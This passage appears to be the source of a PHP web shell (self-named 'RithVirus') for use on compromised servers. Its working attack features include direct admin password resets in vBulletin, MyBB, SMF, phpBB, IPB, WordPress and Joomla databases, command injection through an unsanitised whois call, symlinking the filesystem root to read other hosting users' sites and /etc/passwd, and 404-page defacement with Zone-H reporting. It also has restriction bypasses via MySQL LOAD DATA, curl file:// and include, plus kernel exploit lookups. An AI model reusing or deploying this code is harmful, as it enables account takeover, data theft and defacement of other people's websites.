  1806.                 if ($file1 = fopen(".htaccess", 'r')) {
  1807. ?>
  1808.                                 <form method=post>
  1809.                                 <textarea rows=9 cols=110 name="code" class=box><?php
  1810.                     while (!feof($file1)) {
  1811.                         echo fgets($file1);
  1812.                     }
  1813. ?></textarea><br>
  1814.                                 <input type="submit" value="  Insert  " class=but>
  1815.                                 </form>
  1816.                         <?php
  1817.                 } else
  1818.                     echo "<center>Cannot Open File!!</center>";
  1819.             } else {
  1820.                 if ($myfile = fopen(".htaccess", 'a')) {
  1821.                     fwrite($myfile, $_POST['code']);
  1822.                     fwrite($myfile, "\n\r");
  1823.                     fclose($myfile);
  1824.                     header("Location:$self?malattack");
  1825.                     ob_end_flush();
  1826.                 } else
  1827.                     echo "Permission Denied";
  1828.             }
  1829.         }
  1830.     }
  1831.     // Password Change Forums
  1832.     else if (isset($_POST['forumpass'])) {
  1833.         $localhost = $_POST['f1'];
  1834.         $database  = $_POST['f2'];
  1835.         $username  = $_POST['f3'];
  1836.         $password  = $_POST['f4'];
  1837.         $prefix    = $_POST['prefix'];
  1838.         $uid       = $_POST['uid'];
  1839.         $newpass   = $_POST['newpass'];
  1840.         if ($_POST['forums'] == "vb") {
  1841.             $con         = mysql_connect($localhost, $username, $password);
  1842.             $db          = mysql_select_db($database, $con);
  1843.             $salt        = "eghjghrtd";
  1844.             $newpassword = md5(md5($newpass) . $salt);
  1845.             if ($prefix == "" || $prefix == null)
  1846.                 $sql = mysql_query("update user set password = '$newpassword', salt = '$salt' where userid = '$uid'");
  1847.             else
  1848.                 $sql = mysql_query("update " . $prefix . "user set password = '$newpassword', salt = '$salt' where userid = '$uid'");
  1849.             if ($sql) {
  1850.                 mysql_close($con);
  1851.                 header("Location:$self?forum&passwordchange&changed");
  1852.                 ob_end_flush();
  1853.             } else
  1854.                 header("Location:$self?forum&passwordchange&cannotchange");
  1855.         }
  1856.         if ($_POST['forums'] == "mybb") {
  1857.             $con         = mysql_connect($localhost, $username, $password);
  1858.             $db          = mysql_select_db($database, $con);
  1859.             $salt        = "jeghj";
  1860.             $newpassword = md5(md5($salt) . $newpass);
  1861.             if ($prefix == "" || $prefix == null)
  1862.                 $sql = mysql_query("update mybb_users set password = '$newpassword', salt = '$salt' where uid = '$uid'");
  1863.             else
  1864.                 $sql = mysql_query("update " . $prefix . "users set password = '$newpassword', salt = '$salt' where uid = '$uid'");
  1865.             if ($sql) {
  1866.                 mysql_close($con);
  1867.                 header("Location:$self?forum&passwordchange&changed");
  1868.                 ob_end_flush();
  1869.             } else
  1870.                 header("Location:$self?forum&passwordchange&cannotchange");
  1871.         }
  1872.         if ($_POST['forums'] == "smf") {
  1873.             $con  = mysql_connect($localhost, $username, $password);
  1874.             $db   = mysql_select_db($database, $con);
  1875.             $salt = "eghj";
  1876.             if ($prefix == "" || $prefix == null) {
  1877.                 $result      = mysql_query("select member_name from smf_members where id_member = 1");
  1878.                 $row         = mysql_fetch_array($result);
  1879.                 $membername  = $row['member_name'];
  1880.                 $newpassword = sha1(strtolower($membername) . $newpass);
  1881.                 $sql         = mysql_query("update smf_members set passwd = '$newpassword' where id_member = '$uid'");
  1882.             } else {
  1883.                 $result      = mysql_query("select member_name from " . $prefix . "members where id_member = 1");
  1884.                 $row         = mysql_fetch_array($result);
  1885.                 $membername  = $row['member_name'];
  1886.                 $newpassword = sha1(strtolower($membername) . $newpass);
  1887.                 $sql         = mysql_query("update " . $prefix . "members set passwd = '$newpassword' where id_member = '$uid'");
  1888.             }
  1889.             if ($sql) {
  1890.                 mysql_close($con);
  1891.                 header("Location:$self?forum&passwordchange&changed");
  1892.                 ob_end_flush();
  1893.             } else
  1894.                 header("Location:$self?forum&passwordchange&cannotchange");
  1895.         }
  1896.         if ($_POST['forums'] == "phpbb") {
  1897.             $con         = mysql_connect($localhost, $username, $password);
  1898.             $db          = mysql_select_db($database, $con);
  1899.             $newpassword = md5($newpass);
  1900.             echo $newpassword;
  1901.             if (empty($prefix) || $prefix == null)
  1902.                 $sql = mysql_query("update phpbb_users set user_password = '$newpassword' where user_id = '$uid'");
  1903.             else
  1904.                 $sql = mysql_query("update " . $prefix . "users set user_password = '$newpassword' where user_id = '$uid'");
  1905.             if ($sql) {
  1906.                 mysql_close($con);
  1907.                 header("Location:$self?forum&passwordchange&changed");
  1908.                 ob_end_flush();
  1909.             } else
  1910.                 header("Location:$self?forum&passwordchange&cannotchange");
  1911.         }
  1912.         if ($_POST['forums'] == "ipb") {
  1913.             $con         = mysql_connect($localhost, $username, $password);
  1914.             $db          = mysql_select_db($database, $con);
  1915.             $salt        = "eghj";
  1916.             $newpassword = md5(md5($salt) . md5($newpass));
  1917.             if ($prefix == "" || $prefix == null)
  1918.                 $sql = mysql_query("update members set members_pass_hash = '$newpassword', members_pass_salt = '$salt' where member_id = '$uid'");
  1919.             else
  1920.                 $sql = mysql_query("update " . $prefix . "members set members_pass_hash = '$newpassword', members_pass_salt = '$salt' where member_id = '$uid'");
  1921.             if ($sql) {
  1922.                 mysql_close($con);
  1923.                 header("Location:$self?forum&passwordchange&changed");
  1924.                 ob_end_flush();
  1925.             } else
  1926.                 header("Location:$self?forum&passwordchange&cannotchange");
  1927.         }
  1928.         if ($_POST['forums'] == "wp") {
  1929.             $uname       = $_POST['uname'];
  1930.             $con         = mysql_connect($localhost, $username, $password);
  1931.             $db          = mysql_select_db($database, $con);
  1932.             $newpassword = md5($newpass);
  1933.             if ($prefix == "" || $prefix == null)
  1934.                 $sql = mysql_query("update wp_users set user_pass = '$newpassword', user_login = '$uname' where ID = '$uid'");
  1935.             else
  1936.                 $sql = mysql_query("update " . $prefix . "users set user_pass = '$newpassword', user_login = '$uname' where ID = '$uid'");
  1937.             if ($sql) {
  1938.                 mysql_close($con);
  1939.                 header("Location:$self?forum&passwordchange&changed#wordp");
  1940.                 ob_end_flush();
  1941.             } else
  1942.                 header("Location:$self?forum&passwordchange&cannotchange#wordp");
  1943.         }
  1944.         if ($_POST['forums'] == "joomla") {
  1945.             $uname       = $_POST['uname'];
  1946.             $con         = mysql_connect($localhost, $username, $password);
  1947.             $db          = mysql_select_db($database, $con);
  1948.             $newpassword = md5($newpass);
  1949.             if ($prefix == "" || $prefix == null)
  1950.                 $sql = mysql_query("update jos_users set password = '$newpassword', username = '$uname' where name = 'Super User'");
  1951.             else
  1952.                 $sql = mysql_query("update " . $prefix . "users set password = '$newpassword', username = '$uname' where name = 'Super User' OR name = 'Administrator'");
  1953.             if ($sql) {
  1954.                 mysql_close($con);
  1955.                 header("Location:$self?forum&passwordchange&changed#jooml");
  1956.                 ob_end_flush();
  1957.             } else
  1958.                 header("Location:$self?forum&passwordchange&cannotchange#jooml");
  1959.         }
  1960.     } else if (isset($_GET['whois'])) {
  1961.         echo "<br>" . nl2br(shell_exec("whois " . $_GET['whois']));
  1962.     }
  1963.     // Get Domains
  1964.     else if (isset($_REQUEST["symlinkserver"])) {
  1965. ?>
  1966.                 <center><table><tr><td><a href="<?php
  1967.         echo $self;
  1968. ?>?domains&symlinkserver">| Get Domains |</a></td>
  1969.                 <td><a href="<?php
  1970.         echo $self;
  1971. ?>?symlink&symlinkserver">| Symlink Server |</a></td>
  1972.                 <td><a href="<?php
  1973.         echo $self;
  1974. ?>?symlinkfile&symlinkserver">| Symlink File |</a></td>
  1975.                 <td><a href="<?php
  1976.         echo $self;
  1977. ?>?script&symlinkserver">| Script Locator |</a></td>
  1978.                 </tr></table></center><br>
  1979.                 <?php
  1980.         if (isset($_GET["domains"])) {
  1981. ?>      <center><iframe src="<?php
  1982.             echo 'http://sameip.org/ip/' . getenv('SERVER_ADDR');
  1983. ?>" width="80%" height="1000px"></iframe></center>
  1984.                 <?php
  1985.         } else if (isset($_GET["symlink"])) {
  1986.             $d0mains = @file("/etc/named.conf");
  1987.             if ($d0mains) {
  1988.                 @mkdir("RithVirus", 0777);
  1989.                 @chdir("RithVirus");
  1990.                 execmd("ln -s / root");
  1991.                 $file3 = 'Options all
  1992.         DirectoryIndex Sux.html
  1993.         AddType text/plain .php
  1994.         AddHandler server-parsed .php
  1995.          AddType text/plain .html
  1996.         AddHandler txt .html
  1997.         Require None
  1998.         Satisfy Any        
  1999.        ';
  2000.                 $fp3   = fopen('.htaccess', 'w');
  2001.                 $fw3   = fwrite($fp3, $file3);
  2002.                 @fclose($fp3);
  2003.                 echo "<table align=center border=1 style='width:60%;' class=tbl><tr><td align=center><font color=#FFFFFF size=3>S. No.</font></td><td align=center><font color=#FFFFFF size=3>Domains</font></td><td align=center><font color=#FFFFFF size=3>Users</font></td><td align=center><font color=#FFFFFF size=3>Symlink</font></td><td align=center><font color=#FFFFFF size=3>Information</font></td></tr>";
  2004.                 $dcount = 1;
  2005.                 foreach ($d0mains as $d0main) {
  2006.                     if (eregi("zone", $d0main)) {
  2007.                         preg_match_all('#zone "(.*)"#', $d0main, $domains);
  2008.                         flush();
  2009.                         if (strlen(trim($domains[1][0])) > 2) {
  2010.                             $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domains[1][0]));
  2011.                             echo "<tr align=center><td><font size=2>" . $dcount . "</font></td><td align=left><a href=http://www." . $domains[1][0] . "/><font size=2>" . $domains[1][0] . "</font></a></td><td><font size=2>" . $user['name'] . "</font></td><td><a href='/RithVirus/root/home/" . $user['name'] . "/public_html' target='_blank'><font size=2>Symlink</font></a></td><td><a href=?whois=" . $domains[1][0] . " target=_blank><font size=2>info</font></a></td></tr>";
  2012.                             flush();
  2013.                             $dcount++;
  2014.                         }
  2015.                     }
  2016.                 }
  2017.                 echo "</table>";
  2018.             } else {
  2019.                 $TEST = @file('/etc/passwd');
  2020.                 if ($TEST) {
  2021.                     @mkdir("RithVirus", 0777);
  2022.                     @chdir("RithVirus");
  2023.                     execmd("ln -s / root");
  2024.                     $file3 = 'Options all
  2025.                         DirectoryIndex Sux.html
  2026.                         AddType text/plain .php
  2027.                         AddHandler server-parsed .php
  2028.                          AddType text/plain .html
  2029.                         AddHandler txt .html
  2030.                         Require None
  2031.                         Satisfy Any        
  2032.                        ';
  2033.                     $fp3   = fopen('.htaccess', 'w');
  2034.                     $fw3   = fwrite($fp3, $file3);
  2035.                     @fclose($fp3);
  2036.                     echo "<table align=center border=1 style='width:40%;' class=tbl><tr><td align=center><font size=4>S. No.</font></td><td align=center><font size=4>Users</font></td><td align=center><font size=4>Symlink</font></td></tr>";
  2037.                     $dcount = 1;
  2038.                     $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
  2039.                     //Output a line of the file until the end is reached
  2040.                     while (!feof($file)) {
  2041.                         $s       = fgets($file);
  2042.                         $matches = array();
  2043.                         $t       = preg_match('/\/(.*?)\:\//s', $s, $matches);
  2044.                         $matches = str_replace("home/", "", $matches[1]);
  2045.                         if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  2046.                             continue;
  2047.                         echo "<tr><td align=center><font size=3>" . $dcount . "</td><td align=center><font class=txt face=Iceland>" . $matches . "</td>";
  2048.                         echo "<td align=center><font class=txt face=Iceland><a href=/RithVirus/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  2049.                         $dcount++;
  2050.                     }
  2051.                     fclose($file);
  2052.                     echo "</table>";
  2053.                 } else {
  2054.                     if ($os != "Windows") {
  2055.                         @mkdir("RithVirus", 0777);
  2056.                         @chdir("RithVirus");
  2057.                         execmd("ln -s / root");
  2058.                         $file3 = 'Options all
  2059.                                 DirectoryIndex Sux.html
  2060.                                 AddType text/plain .php
  2061.                                 AddHandler server-parsed .php
  2062.                                  AddType text/plain .html
  2063.                                 AddHandler txt .html
  2064.                                 Require None
  2065.                                 Satisfy Any        
  2066.                                ';
  2067.                         $fp3   = fopen('.htaccess', 'w');
  2068.                         $fw3   = fwrite($fp3, $file3);
  2069.                         @fclose($fp3);
  2070.                         echo "<table align=center border=1 style='width:40%;' class=tbl><tr><td align=center><font size=4>S. No.</font></td><td align=center><font size=4>Users</font></td><td align=center><font size=4>Symlink</font></td></tr>";
  2071.                         $temp = "";
  2072.                         $val1 = 0;
  2073.                         $val2 = 1000;
  2074.                         for (; $val1 <= $val2; $val1++) {
  2075.                             $uid = @posix_getpwuid($val1);
  2076.                             if ($uid)
  2077.                                 $temp .= join(':', $uid) . "\n";
  2078.                         }
  2079.                         echo '<br/>';
  2080.                         $temp  = trim($temp);
  2081.                         $file5 = fopen("test.txt", "w");
  2082.                         fputs($file5, $temp);
  2083.                         fclose($file5);
  2084.                         $dcount = 1;
  2085.                         $file = fopen("test.txt", "r") or exit("Unable to open file!");
  2086.                         while (!feof($file)) {
  2087.                             $s       = fgets($file);
  2088.                             $matches = array();
  2089.                             $t       = preg_match('/\/(.*?)\:\//s', $s, $matches);
  2090.                             $matches = str_replace("home/", "", $matches[1]);
  2091.                             if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  2092.                                 continue;
  2093.                             echo "<tr><td align=center><font size=3>" . $dcount . "</td><td align=center><font class=txt face=Iceland>" . $matches . "</td>";
  2094.                             echo "<td align=center><font class=txt face=Iceland><a href=/RithVirus/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  2095.                             $dcount++;
  2096.                         }
  2097.                         fclose($file);
  2098.                         echo "</table>";
  2099.                         unlink("test.txt");
  2100.                     } else
  2101.                         echo "<center><font size=4>Cannot create Symlink</font></center>";
  2102.                 }
  2103.             }
  2104.         } else if (isset($_GET["symlinkfile"])) {
  2105.             if (!isset($_GET['file'])) {
  2106. ?>
  2107.                                         <center>
  2108.                                         <form action="<?php
  2109.                 echo $self;
  2110. ?>">
  2111.                                         <input type="hidden" name="symlinkserver">
  2112.                                         <input type="hidden" name="symlinkfile">
  2113.                                         <input type="text" class="box" name="file" size="50" value="">
  2114.                                         <input type="submit" value="Create Symlink" class="but">
  2115.                                         </form></center>
  2116.                                         <br><br>
  2117.                                         <?php
  2118.             } else {
  2119.                 $fakedir = "cx";
  2120.                 $fakedep = 16;
  2121.                 $num     = 0; // offset of symlink.$num
  2122.                 if (!empty($_GET['file']))
  2123.                     $file = $_GET['file'];
  2124.                 else if (!empty($_POST['file']))
  2125.                     $file = $_POST['file'];
  2126.                 else
  2127.                     $file = "";
  2128.                 if (empty($file))
  2129.                     exit;
  2130.                 if (!is_writable("."))
  2131.                     die("not writable directory");
  2132.                 $level = 0;
  2133.                 for ($as = 0; $as < $fakedep; $as++) {
  2134.                     if (!file_exists($fakedir))
  2135.                         mkdir($fakedir);
  2136.                     chdir($fakedir);
  2137.                 }
  2138.                 while (1 < $as--)
  2139.                     chdir("..");
  2140.                 $hardstyle = explode("/", $file);
  2141.                 for ($a = 0; $a < count($hardstyle); $a++) {
  2142.                     if (!empty($hardstyle[$a])) {
  2143.                         if (!file_exists($hardstyle[$a]))
  2144.                             mkdir($hardstyle[$a]);
  2145.                         chdir($hardstyle[$a]);
  2146.                         $as++;
  2147.                     }
  2148.                 }
  2149.                 $as++;
  2150.                 while ($as--)
  2151.                     chdir("..");
  2152.                 @rmdir("fakesymlink");
  2153.                 @unlink("fakesymlink");
  2154.                 @symlink(str_repeat($fakedir . "/", $fakedep), "fakesymlink");
  2155.                 // this loop will skip allready created symlinks.
  2156.                 while (1)
  2157.                     if (true == (@symlink("fakesymlink/" . str_repeat("../", $fakedep - 1) . $file, "symlink" . $num)))
  2158.                         break;
  2159.                     else
  2160.                         $num++;
  2161.                 @unlink("fakesymlink");
  2162.                 mkdir("fakesymlink");
  2163.                 die('<FONT class=txt face=Iceland>check symlink <a href="./symlink' . $num . '">symlink' . $num . '</a> file</FONT>');
  2164.             }
  2165.         } else if (isset($_REQUEST["script"])) {
  2166. ?>
  2167.                         <center><table><tr><td><a href="<?php
  2168.             echo $self;
  2169. ?>?manually&script&symlinkserver"><font class="tblheads">| Do It Manually |</font></a></td>
  2170.                 <td><a href="<?php
  2171.             echo $self;
  2172. ?>?automatic&script&symlinkserver"><font class="tblheads">| Do It Automatically |</font></a></td>
  2173.                 </tr></table></center>
  2174.                         <?php
  2175.             if (isset($_REQUEST['manually'])) {
  2176.                 if (!isset($_REQUEST['passwd'])) {
  2177. ?>
  2178.                                 <center>
  2179.                                 <form action="<?php
  2180.                     echo $self;
  2181. ?>" method="post">
  2182.                                 <input type="hidden" name="manually">
  2183.                                 <input type="hidden" name="script">
  2184.                                 <input type="hidden" name="symlinkserver">
  2185.                                 <textarea class="box" rows="16" cols="100" name="passwd"></textarea><br>
  2186.                                 <input type="submit" value="Get Config" class="but">
  2187.                                 </form>
  2188.                                 </center>
  2189.                                 <?php
  2190.                 } else {
  2191.                     $getetc = trim($_REQUEST['passwd']);
  2192.                     mkdir("RithVirusSPT");
  2193.                     chdir("RithVirusSPT");
  2194.                     $myfile = fopen("test.txt", "w");
  2195.                     fputs($myfile, $getetc);
  2196.                     fclose($myfile);
  2197.                     $file = fopen("test.txt", "r") or exit("Unable to open file!");
  2198.                     while (!feof($file)) {
  2199.                         $s       = fgets($file);
  2200.                         $matches = array();
  2201.                         $t       = preg_match('/\/(.*?)\:\//s', $s, $matches);
  2202.                         $matches = str_replace("home/", "", $matches[1]);
  2203.                         if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  2204.                             continue;
  2205.                         syml($matches, $matches);
  2206.                     }
  2207.                     fclose($file);
  2208.                     unlink("test.txt");
  2209.                     echo "<center><font class=txt face=Iceland>[ Done ]</font></center>";
  2210.                     echo "<br><center><a href=RithVirusSPT target=_blank><font class=txt face=Iceland>| Go Here |</font></a></center>";
  2211.                 }
  2212.             } else if (isset($_REQUEST['automatic'])) {
  2213.                 $d0mains = @file("/etc/named.conf");
  2214.                 if ($d0mains) {
  2215.                     mkdir("RithVirusST");
  2216.                     chdir("RithVirusST");
  2217.                     foreach ($d0mains as $d0main) {
  2218.                         if (eregi("zone", $d0main)) {
  2219.                             preg_match_all('#zone "(.*)"#', $d0main, $domains);
  2220.                             flush();
  2221.                             if (strlen(trim($domains[1][0])) > 2) {
  2222.                                 $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domains[1][0]));
  2223.                                 syml($user['name'], $domains[1][0]);
  2224.                             }
  2225.                         }
  2226.                     }
  2227.                     echo "<center><font class=txt face=Iceland>[ Done ]</font></center>";
  2228.                     echo "<br><center><a href=RithVirusST target=_blank><font class=txt face=Iceland>| Go Here |</font></a></center>";
  2229.                 } else {
  2230.                     mkdir("RithVirusSPT");
  2231.                     chdir("RithVirusSPT");
  2232.                     $temp = "";
  2233.                     $val1 = 0;
  2234.                     $val2 = 1000;
  2235.                     for (; $val1 <= $val2; $val1++) {
  2236.                         $uid = @posix_getpwuid($val1);
  2237.                         if ($uid)
  2238.                             $temp .= join(':', $uid) . "\n";
  2239.                     }
  2240.                     echo '<br/>';
  2241.                     $temp  = trim($temp);
  2242.                     $file5 = fopen("test.txt", "w");
  2243.                     fputs($file5, $temp);
  2244.                     fclose($file5);
  2245.                     $file = fopen("test.txt", "r") or exit("Unable to open file!");
  2246.                     while (!feof($file)) {
  2247.                         $s       = fgets($file);
  2248.                         $matches = array();
  2249.                         $t       = preg_match('/\/(.*?)\:\//s', $s, $matches);
  2250.                         $matches = str_replace("home/", "", $matches[1]);
  2251.                         if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  2252.                             continue;
  2253.                         syml($matches, $matches);
  2254.                     }
  2255.                     fclose($file);
  2256.                     echo "</table>";
  2257.                     unlink("test.txt");
  2258.                     echo "<center><font class=txt face=Iceland>[ Done ]</font></center>";
  2259.                     echo "<br><center><a href=RithVirusSPT target=_blank><font class=txt face=Iceland>| Go Here |</font></a></center>";
  2260.                 }
  2261.             }
  2262.         }
  2263.     }
  2264.     // Exploit Search
  2265.     else if (isset($_GET["exploit"])) {
  2266.         if (!isset($_GET["rootexploit"])) {
  2267. ?>
  2268.                         <center>
  2269.                         <form action="<?php
  2270.             echo $self;
  2271. ?>" method="get" target="_blank">
  2272.                         <input type="hidden" name="exploit">
  2273.                         <table class=tbl border="1" cellpadding="5" cellspacing="4" style="width:50%;">
  2274.                         <tr>
  2275.                                 <td style="height:60px;">
  2276.                         <font size="4">Select Website</font></td><td>
  2277.                         <p><select id="rootexploit" name="rootexploit" class="box">
  2278.                                 <option value="exploit-db">Exploit-db</option>
  2279.                                 <option value="packetstormsecurity">Packetstormsecurity</option>
  2280.                                 <option value="exploitsearch">Exploitsearch</option>
  2281.                                 <option value="shodanhq">Shodanhq</option>
  2282.                         </select></p></td></tr><tr><td colspan="2" align="center"  style="height:40px;">
  2283.                         <input type="submit" value="Search" class="but"></td></tr></table>
  2284.                         </form></center><br>
  2285.                 <?php
  2286.         } else {
  2287.             //exploit search
  2288.             $Lversion = php_uname(r);
  2289.             $OSV      = php_uname(s);
  2290.             if (eregi('Linux', $OSV)) {
  2291.                 $Lversion = substr($Lversion, 0, 6);
  2292.                 if ($_GET['rootexploit'] == "exploit-db") {
  2293.                     header("Location:http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=Linux+Kernel+$Lversion");
  2294.                 } else if ($_GET['rootexploit'] == "packetstormsecurity") {
  2295.                     header("Location:http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=Linux+Kernel+$Lversion");
  2296.                 } else if ($_GET['rootexploit'] == "exploitsearch") {
  2297.                     header("Location:http://exploitsearch.com/search.html?cx=000255850439926950150%3A_vswux9nmz0&cof=FORID%3A10&q=Linux+Kernel+$Lversion");
  2298.                 } else if ($_GET['rootexploit'] == "shodanhq") {
  2299.                     header("Location:http://www.shodanhq.com/exploits?q=Linux+Kernel+$Lversion");
  2300.                 }
  2301.             } else {
  2302.                 $Lversion = substr($Lversion, 0, 3);
  2303.                 if ($_GET['rootexploit'] == "exploit-db") {
  2304.                     header("Location:http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=$OSV+Lversion");
  2305.                 } else if ($_GET['rootexploit'] == "packetstormsecurity") {
  2306.                     header("Location:http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=$OSV+Lversion");
  2307.                 } else if ($_GET['rootexploit'] == "exploitsearch") {
  2308.                     header("Location:http://exploitsearch.com/search.html?cx=000255850439926950150%3A_vswux9nmz0&cof=FORID%3A10&q=$OSV+Lversion");
  2309.                 } else if ($_GET['rootexploit'] == "shodanhq") {
  2310.                     header("Location:http://www.shodanhq.com/exploits?q=$OSV+Lversion");
  2311.                 }
  2312.             }
  2313.             //End of Exploit search
  2314.         }
  2315.     } else if (isset($_REQUEST['404'])) {
  2316. ?>
  2317.                 <center><table><tr><td><a href="<?php
  2318.         echo $self;
  2319. ?>?404&new"><font size="4">| Set Your 404 Page |</font></a></td>
  2320.                         <td><a href="<?php
  2321.         echo $self;
  2322. ?>?404&old"><font size="4">| Set Specified 404 Page |</font></a></td>
  2323.                         </tr></table></center><br>
  2324.                         <?php
  2325.         if (isset($_GET['old'])) {
  2326.             if (strlen($deface) != 0) {
  2327.                 if ($myfile = fopen(".htaccess", "a")) {
  2328.                     fwrite($myfile, "ErrorDocument 404 /404.html \n\r");
  2329.                     if ($myfilee = fopen("404.html", "w+")) {
  2330.                         fwrite($myfilee, base64_decode($deface));
  2331.                         fclose($myfilee);
  2332.                         header("Location:$self?set404");
  2333.                         ob_end_flush();
  2334.                     }
  2335.                     fclose($myfile);
  2336.                 } else {
  2337.                     header("Location:$self?cannotset404");
  2338.                     ob_end_flush();
  2339.                 }
  2340.             } else
  2341.                 echo "<center>Nothing Specified in the shell</center>";
  2342.         } else if (isset($_REQUEST['new'])) {
  2343.             if (isset($_POST['404page'])) {
  2344.                 if ($myfile = fopen(".htaccess", "a")) {
  2345.                     fwrite($myfile, "ErrorDocument 404 /404.html \n\r");
  2346.                     if ($myfilee = fopen("404.html", "w+")) {
  2347.                         fwrite($myfilee, $_POST['message']);
  2348.                     }
  2349.                     header("Location:$self?set404");
  2350.                     ob_end_flush();
  2351.                 } else {
  2352.                     header("Location:$self?cannotset404");
  2353.                     ob_end_flush();
  2354.                 }
  2355.             } else {
  2356. ?>
  2357.                                         <form method=post>
  2358.                                         <center><textarea name=message cols=100 rows=18 class=box><marquee>lol! You just got hacked</marquee></textarea></br>
  2359.                                         <input type="submit" name=404page value="  Save  " class=but></center>
  2360.                                         </br>
  2361.                                         </form>
  2362.                                         <?php
  2363.             }
  2364.         }
  2365.     } else if (isset($_POST["SendNowToZoneH"])) {
  2366.         $hacker = $_POST['defacer'];
  2367.         $method = $_POST['hackmode'];
  2368.         $neden  = $_POST['reason'];
  2369.         $site   = $_POST['domain'];
  2370.         if (empty($hacker)) {
  2371.             die("<center><font size=3>[-] You Must Fill the Attacker name !</font></center>");
  2372.         } elseif ($method == "--------SELECT--------") {
  2373.             die("<center><font size=3>[-] You Must Select The Method !</center>");
  2374.         } elseif ($neden == "--------SELECT--------") {
  2375.             die("<center><font size=3>[-] You Must Select The Reason</center>");
  2376.         } elseif (empty($site)) {
  2377.             die("<center><font size=3>[-] You Must Inter the Sites List !</center>");
  2378.         }
  2379.         $i     = 0;
  2380.         $sites = explode("\n", $site);
  2381.         echo "<pre class=ml1 style='margin-top:5px'>";
  2382.         while ($i < count($sites)) {
  2383.             if (substr($sites[$i], 0, 4) != "http") {
  2384.                 $sites[$i] = "http://" . $sites[$i];
  2385.             }
  2386.             ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
  2387.             echo "<font class=txt face=Iceland>Site : " . $sites[$i] . " Posted !</font><br>";
  2388.             ++$i;
  2389.         }
  2390.         echo "<font class=txt face=Iceland size=4>Sending Sites To Zone-H Has Been Completed Successfully !! </font></pre>";
  2391.     }
  2392.     // Bypass
  2393.     else if (isset($_GET["bypass"])) {
  2394.         if (isset($_GET['copy'])) {
  2395.             if (@copy($_GET['copy'], "test1.php")) {
  2396.                 $fh = fopen("test1.php", 'r');
  2397.                 echo "<textarea cols=120 rows=20 class=box readonly>" . htmlspecialchars(@fread($fh, filesize("test1.php"))) . "</textarea></br></br>";
  2398.                 @fclose($fh);
  2399.                 unlink("test1.php");
  2400.             }
  2401.         } else if (isset($_GET['imap'])) {
  2402.             $string = $_GET['imap'];
  2403.             echo "<textarea cols=120 rows=20 class=box readonly>";
  2404.             $stream = imap_open($string, "", "");
  2405.             $str    = imap_body($stream, 1);
  2406.             echo "</textarea>";
  2407.         } else if (isset($_GET['sql'])) {
  2408.             echo "<textarea cols=120 rows=20 class=box readonly>";
  2409.             $file            = $_GET['ssql'];
  2410.             $mysql_files_str = "/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf";
  2411.             $mysql_files     = explode(':', $mysql_files_str);
  2412.             $sql             = array(
  2413.                 "USE $mdb",
  2414.                 'CREATE TEMPORARY TABLE ' . ($tbl = 'A' . time()) . ' (a LONGBLOB)',
  2415.                 "LOAD DATA LOCAL INFILE '$file' INTO TABLE $tbl FIELDS " . "TERMINATED BY       '__THIS_NEVER_HAPPENS__' " . "ESCAPED BY          '' " . "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'",
  2416.                 "SELECT a FROM $tbl LIMIT 1"
  2417.             );
  2418.             mysql_connect($mhost, $muser, $mpass);
  2419.             foreach ($sql as $statement) {
  2420.                 $q = mysql_query($statement);
  2421.                 if ($q == false)
  2422.                     die("FAILED: " . $statement . "\n" . "REASON: " . mysql_error() . "\n");
  2423.                 if (!$r = @mysql_fetch_array($q, MYSQL_NUM))
  2424.                     continue;
  2425.                 echo htmlspecialchars($r[0]);
  2426.                 mysql_free_result($q);
  2427.             }
  2428.             echo "</textarea>";
  2429.         } else if (isset($_GET['curl'])) {
  2430.             $ch = curl_init("file://" . $_GET[curl]);
  2431.             curl_setopt($ch, CURLOPT_HEADERS, 0);
  2432.             curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2433.             $file_out = curl_exec($ch);
  2434.             curl_close($ch);
  2435.             echo "<textarea cols=120 rows=20 class=box readonly>" . htmlspecialchars($file_out) . "</textarea></br></br>";
  2436.         } else if (isset($_GET['include'])) {
  2437.             if (file_exists($_GET['include'])) {
  2438.                 echo "<textarea cols=120 rows=20 class=box readonly>";
  2439.                 @include($_GET['include']);
  2440.                 echo "</textarea>";
  2441.             } else
  2442.                 echo "<br><center><font size=3>Can't Read" . $_GET['include'] . "</font></center>";
  2443.         } else if (isset($_GET['id'])) {
  2444.             echo "<textarea cols=120 rows=20 class=box readonly>";
  2445.             for ($uid = 0; $uid < 60000; $uid++) { //cat /etc/passwd
  2446.                 $ara = posix_getpwuid($uid);
  2447.                 if (!empty($ara)) {
  2448.                     while (list($key, $val) = each($ara)) {
  2449.                         print "$val:";
  2450.                     }
  2451.                     print "\n";
  2452.                 }
  2453.             }
